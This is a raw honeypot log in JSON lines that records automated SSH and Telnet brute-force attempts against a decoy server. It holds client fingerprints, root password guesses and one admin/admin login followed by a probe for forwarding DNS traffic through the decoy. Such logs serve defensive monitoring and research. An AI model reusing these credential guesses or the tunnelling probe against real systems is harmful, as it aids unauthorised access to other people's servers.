{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":38370,"dst_ip":"159.203.135.109","dst_port":22,"session":"467405685708","protocol":"ssh","message":"New connection: 103.195.236.96:38370 (159.203.135.109:22) [session: 467405685708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:56.780436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:56.806275Z","src_ip":"103.195.236.96","session":"467405685708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:57.018584Z","src_ip":"103.195.236.96","session":"467405685708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roman123","message":"login attempt [root/roman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:57.982424Z","src_ip":"103.195.236.96","session":"467405685708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:59.231384Z","src_ip":"103.195.236.96","session":"467405685708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49838,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd44dcc52daf","protocol":"ssh","message":"New connection: 77.94.47.83:49838 (10.17.0.5:22) [session: dd44dcc52daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:59.414714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:59.422981Z","src_ip":"77.94.47.83","session":"dd44dcc52daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:59.559592Z","src_ip":"77.94.47.83","session":"dd44dcc52daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15091987","message":"login attempt [root/15091987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:46:59.936304Z","src_ip":"77.94.47.83","session":"dd44dcc52daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:01.063797Z","src_ip":"77.94.47.83","session":"dd44dcc52daf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51172,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df1a2b0242d","protocol":"ssh","message":"New connection: 103.15.222.183:51172 (159.203.135.109:22) [session: 3df1a2b0242d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:01.423909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:01.428891Z","src_ip":"103.15.222.183","session":"3df1a2b0242d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:01.666075Z","src_ip":"103.15.222.183","session":"3df1a2b0242d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666777","message":"login attempt [root/555666777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:02.379647Z","src_ip":"103.15.222.183","session":"3df1a2b0242d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:03.621239Z","src_ip":"103.15.222.183","session":"3df1a2b0242d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.17619013786316,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:09.235739Z","src_ip":"192.119.13.58","session":"7d7a01b1e583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"22d156ecb787","protocol":"telnet","message":"New connection: 192.119.13.58:49118 (10.17.0.5:23) [session: 22d156ecb787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:47:23.302057Z"}
{"eventid":"cowrie.session.closed","duration":46.53527879714966,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:09.837217Z","src_ip":"192.119.13.58","session":"22d156ecb787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2404,"dst_ip":"10.17.0.5","dst_port":22,"session":"d17db754594c","protocol":"ssh","message":"New connection: 87.251.64.176:2404 (10.17.0.5:22) [session: d17db754594c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.352970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.357783Z","src_ip":"87.251.64.176","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.455259Z","src_ip":"87.251.64.176","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.746476Z","src_ip":"87.251.64.176","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.847420Z","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:14.956624Z","src_ip":"87.251.64.176","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:15.057977Z","src_ip":"87.251.64.176","session":"d17db754594c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36410,"dst_ip":"10.17.0.5","dst_port":23,"session":"df47554061cd","protocol":"telnet","message":"New connection: 192.119.13.58:36410 (10.17.0.5:23) [session: df47554061cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:28.073206Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50456,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58ce858b9c6","protocol":"telnet","message":"New connection: 192.119.13.58:50456 (10.17.0.5:23) [session: f58ce858b9c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:46.983377Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36994,"dst_ip":"10.17.0.5","dst_port":22,"session":"87842fae1e81","protocol":"ssh","message":"New connection: 103.176.20.57:36994 (10.17.0.5:22) [session: 87842fae1e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:57.363307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:57.371378Z","src_ip":"103.176.20.57","session":"87842fae1e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:57.625037Z","src_ip":"103.176.20.57","session":"87842fae1e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrfhjdf","message":"login attempt [root/vfrfhjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:58.389551Z","src_ip":"103.176.20.57","session":"87842fae1e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:48:59.645030Z","src_ip":"103.176.20.57","session":"87842fae1e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36938,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcd2f0767f68","protocol":"telnet","message":"New connection: 192.119.13.58:36938 (10.17.0.5:23) [session: dcd2f0767f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:01.685107Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48350,"dst_ip":"159.203.135.109","dst_port":22,"session":"c55fb238bc81","protocol":"ssh","message":"New connection: 46.19.67.181:48350 (159.203.135.109:22) [session: c55fb238bc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:05.846257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:05.851359Z","src_ip":"46.19.67.181","session":"c55fb238bc81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:05.972168Z","src_ip":"46.19.67.181","session":"c55fb238bc81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"33333","message":"login attempt [root/33333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:06.317240Z","src_ip":"46.19.67.181","session":"c55fb238bc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:07.435335Z","src_ip":"46.19.67.181","session":"c55fb238bc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31779909133911,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:09.391054Z","src_ip":"192.119.13.58","session":"df47554061cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":51417,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c2ab2e4652","protocol":"ssh","message":"New connection: 103.219.170.37:51417 (159.203.135.109:22) [session: f3c2ab2e4652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:24.187388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:24.192662Z","src_ip":"103.219.170.37","session":"f3c2ab2e4652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:24.262402Z","src_ip":"103.219.170.37","session":"f3c2ab2e4652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2012","message":"login attempt [root/Server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:24.493259Z","src_ip":"103.219.170.37","session":"f3c2ab2e4652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:25.565502Z","src_ip":"103.219.170.37","session":"f3c2ab2e4652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55824,"dst_ip":"10.17.0.5","dst_port":22,"session":"c931b958b22e","protocol":"ssh","message":"New connection: 103.183.114.55:55824 (10.17.0.5:22) [session: c931b958b22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:25.677554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:49:25.683081Z","src_ip":"103.183.114.55","session":"c931b958b22e","protocol":"ssh"}
